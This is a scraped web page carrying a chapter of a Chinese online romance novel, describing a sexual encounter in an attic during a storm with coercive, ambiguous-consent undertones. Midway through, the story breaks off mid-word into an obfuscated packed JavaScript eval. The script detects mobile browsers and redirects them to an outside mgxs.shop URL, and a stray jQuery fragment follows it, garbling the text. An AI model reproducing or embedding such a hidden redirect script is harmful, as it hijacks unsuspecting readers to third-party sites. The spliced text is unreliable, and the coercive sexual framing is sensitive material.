文趣网 > 都市小说 > 渣了男神的小叔 > 35. 草原第35天
    天空轰隆隆打起雷,没有山势阻挡的狂风吹的阁楼窗户在晃动。白书杳躺在软绵的床上隔着薄薄的一层窗帘望向雨水狂舞。

    床头只留了一盏暖灯,照亮亚麻色的床角以及床头柜上摆放的玉石小羊摆件。

    白书杳没想到墨岩早就收拾出来阁楼,并且将这里重新装扮。

    复古亚麻四件套、同质感的窗帘,以及墙上挂着的挂画都是她最喜欢的铃兰。

    虽然墨岩是个绝世大直男,但不得不说,这个房间的软装勉强靠近一点她的审美。

    耳边风驰电掣冲撞玻璃的嘈杂声分散了她的注意,但白书杳不敢动,右侧耳畔传来男人粗重的喘息,越来越近……

    今天的墨岩像喝了二斤假酒,一会儿说怕她一个人害怕,一会儿说这个阁楼有老鼠。

    小陈他们也是瞎助攻,直接把他的东西扔出来,又锁门。

    那天她是喝了酒的缘故才会被墨岩的皮相迷惑,做出了一些出格的事情,可今天是绝对不会的。

    房间开着26度的恒温空调,可架不住她身边有个超大号人形火炉,源源不断的热气提醒她,十分危险的男人时刻能把她吃干抹净。

    一堵墙叠加保温杯的buff,其实她这个小身板吃不消的,而且她不喜欢墨岩,虽然有过一次,但那是失误,绝不能有第二次!

    逐渐浓烈的苦皂气息随着温度攀升,白书杳闭上眼,揪着睡裙的手指来回搓动,试图蹭掉手心上的热汗。

    旁边窸窸窣窣的挪蹭过后,软床又陷了一块,耳侧的喘息声比之前的还要近,绵长又低沉。

    26°真热!

    白书杳的装睡并不高级,睫毛簌簌眨动,胸膛起伏没有规律。睡着人的身体是不会这么僵硬的。

    漏洞百出的装睡落在墨岩铎眼里,确实十分的可爱。这样可爱又有活力的女孩是他女朋友。

    墨岩铎满打满算5岁时就去了部队大院跟着二叔生活,受他影响,一直觉得自己算得上正人君子。

    但此刻温香软玉就在身侧,他的心思却十分的下流卑劣。

    他用这种方法来试探女朋友对他的心意,只有这样,他才能告诉自己,女朋友是爱他的,年纪还小心性不定,都是扶闵洋在故意引导她。

    他成功留下来了,算是试探成功,但他还想更进一步。

    男人确实是下半身思考的动物。

    “晓敏,可以吗?”

    墨岩铎的声音并不大,却带着浓重的鼻音,以及带出来的急促喘息声。

    问完这句话,他清晰的听到陡然急促的心跳声,一声一声撞着自己的胸膛。

    蓬勃的心跳声越来越重,声音也越来越响,与窗外的风雨声重合,但还是钻进了白书杳的耳朵里。

    明明墨岩的语气近乎乞求,但她却能感受到浓浓的压迫感与侵略性。

    那股浓烈的荷尔蒙气息,不断攻击着白书杳的大脑,像是动物求偶时身体的性费洛蒙信号,释放到空气中告知同类性诉求,或者在对方不同意时,迫使弱小的一方屈服于他之下。

    而弱小的一方对这种信息有着天然的无法抵抗的反应,接收到这种信号以后,白书杳就觉得自己的心跳也被这股味道勾的逐渐加速,贴在身体上的睡裙,湿淋淋的浸了一层汗。

    但白书杳恐慌的是,她对这种味道并不排斥,甚至吸引她想去靠近。

    她第一次对人也是动物有了实感。

    动物求偶不需要考虑道德,不需要考虑恩怨。他们只需要臣服与被臣服也完成了一次生命大和谐。

    而进化成人类的动物,遥远的基因里仍旧带着对两性关系的美化——不就是睡一觉吗?

    白书杳唾弃自己的心理防线这么薄弱,她是绝对不会喜欢一个又穷又土的臭男人的。

    都是臭男人在勾引她。

    白书杳的理智摇摇欲坠,都是为了完成报复大业的重要一环。

    但是亲口承认“可以”,她还是说不出口,好像她有多饥渴似的。

    白书杳吞咽了两下口水,贴近男人身体一侧的右手动了一下,触碰到滚烫身躯的一瞬间,男人一下子弹开了。

    像躲避洪水猛兽一样。

    白书杳尴尬的小手还停在原地。

    他什么意思?不给碰?

    那他问那句话什么意思?

    故意耍人?

    还是说非要她直白的回答?

    强吻的时候怎么不见他这么有礼貌。

    哼,不给碰拉倒,她还嫌弃臭石头不仅硬的要死还不解风情呢,翻来覆去一个动作像个没有灵魂的打桩机,磨的又疼又麻。

    她都没嫌弃他呢,他倒是挑上了。

    大小姐做足了心理建设迈出去的一小步,被男人回避的动作搞的彻底萎了。

    肾上腺素与雌性激素瞬间下头,她现在就是老僧入定,对男人释放的信号不仅无感还反胃!

    她再主动就是狗!

    白书杳翻身的动作很大,夏凉被卷在自己身下,试图在26°的空调房里冻死一个在-50°极寒天气戍边的特种兵战士。

    黑夜中的情绪即便看不到摸不着,也能在无限放大中被对方感知。

    这一系列动作像个小孩子在告诉大人——我不高兴,我很不高兴!快来哄我!

    墨岩铎闭了闭眼,再一次抹掉额头渗出来的汗水。

    自从上次强吻事件过后,他所有想和白书杳进一步的动作,都会下意识的等待。

    以至于刚刚在漫长的等待过程中,他快被憋死了。

    欲望驱使下的本能反应,在等不到的回应里一点一点的退潮。

    空前的欲望落空,他便慢慢的歇了这个心思。

    正想着要不要起身去卫生间解决一下,没想到女朋友会这么主动去戳他嗯哼。

    但弹开以后,他就后悔了。

    墨岩铎再睁眼时,浸满水汽的眼睛瞬间变得危险无比,他决定再信他侄子一回。

    强势的吻落在白书杳的唇上,极具跳动的心脏随着呼吸暂停一瞬,微苦的皂味以强硬的姿态闯入她的口腔。

    失控的呼吸开始入侵白书杳的皮肤,但墨岩铎舍不得留下痕迹。

    床头的暖灯将白书杳的表情照得无所遁形,她慌乱的伸手去关灯却在半路被截住。

    男

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793156|208127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人沉默许久,有节奏的呼吸声在空气中回荡。

    他很少不回应。

    而现在这样多数是不想关灯,但又不想直白的说出来。

    白书杳第一次直观的感受到墨岩的别扭。

    白书杳偏头盯着腕骨上掌控一切的手,说一句饱经风霜也不为过,虎口处有道浅痕,手心也有一道增生的疤痕,凸起的部分磨得有些难受。

    “我想喝酒。”白书杳突然提议。

    “喝酒对身体不好,今天不喝了。”

    “那…行叭…”白书杳都意外自己今天格外好说话。

    雨一直下,阁楼的窗户像是泾渭分明的切割线,外面湿泞泞的,蜿蜒流淌着雨水,而里面一层水汽好似陈年醇香的红酒,遮盖住了屋内的暖光。

    白书杳说不清楚此时的心情,她就不该相信狗男人的话,酒精至少能麻痹此刻不断涌上来的感觉。

    窗外的雨势不降反盛,一如此刻白书杳的心跳。

    “墨岩…我要听你唱歌…”她必须得转移注意力,以此来抵消她的紧张。

    墨岩铎抱着她轻轻拍她后背予以安抚,手掌的厚重似带着沉稳的力量逐渐抚平少女心中的焦躁。

    他低头轻轻吻她的发顶,微湿的发丝在暖灯下泛着光泽。

    忽而天空破开一道闪电,随之而来的巨响劈来,窗户被风雨撞的摇摇晃晃,白书杳躲进他怀里,仰头主动索.吻,从青涩到熟练或许不用人教也能自通,橘调的馨香在空气中弥漫遮掉了阁楼里的味道。

    “那你可以再叫一声男神吗?”他很喜欢这个两人之间才有的称谓。

    他也是俗人一个,想听女孩儿给他的独属称谓,这也不算过分的要求。

    只是在说完这句话以后,怀里的人身体紧绷一下,搭在他肩上的手蜷起,是很明显的抗拒动作。

    “这个要求很过分吗?”他收紧手臂,坚硬的胸膛抵住口口,阻止她逃离。

    黑暗中,女孩发抖的颤音格外清晰:“要不换个称呼?”

    他突然执拗起来:“不换,就这个。”

    墨岩铎含住她的唇,轻轻捻磨,唇齿间的馨香无孔不入地钻进他的身体。怀里的人似抗拒似迎合地扭动、挣扎,心里的邪火烧得理智在逐渐崩盘。

    她怎么这么会磨人?

    这是墨岩铎耐心彻底告罄前心底无声的呐喊和妥协。

    然而,等他快要失去理智时。

    “哥哥…男神哥哥可以吗?”在他成为禽兽之前,女孩儿放过了他。

    可他还是低估了自己的自控力,这四个字比“男神”的杀伤力更大,堪比原子弹爆炸。

    “你想听什么?”

    墨岩铎抵着她的额头,喉咙被烧得险些说不出话:“给你唱一夜。”

    “水手。”

    “……”

    墨岩铎怕自己唱完这首歌以后原地入伍,还是放弃了这种能激发人斗志的励志歌曲,选了一首舒缓的R&B。

    窗外狂风依旧,屋内新搭的床板迎来了不亚于史上最强抗压检测。

    也幸亏这是三楼的阁楼,即便隔音不好,白书杳也能放声xx。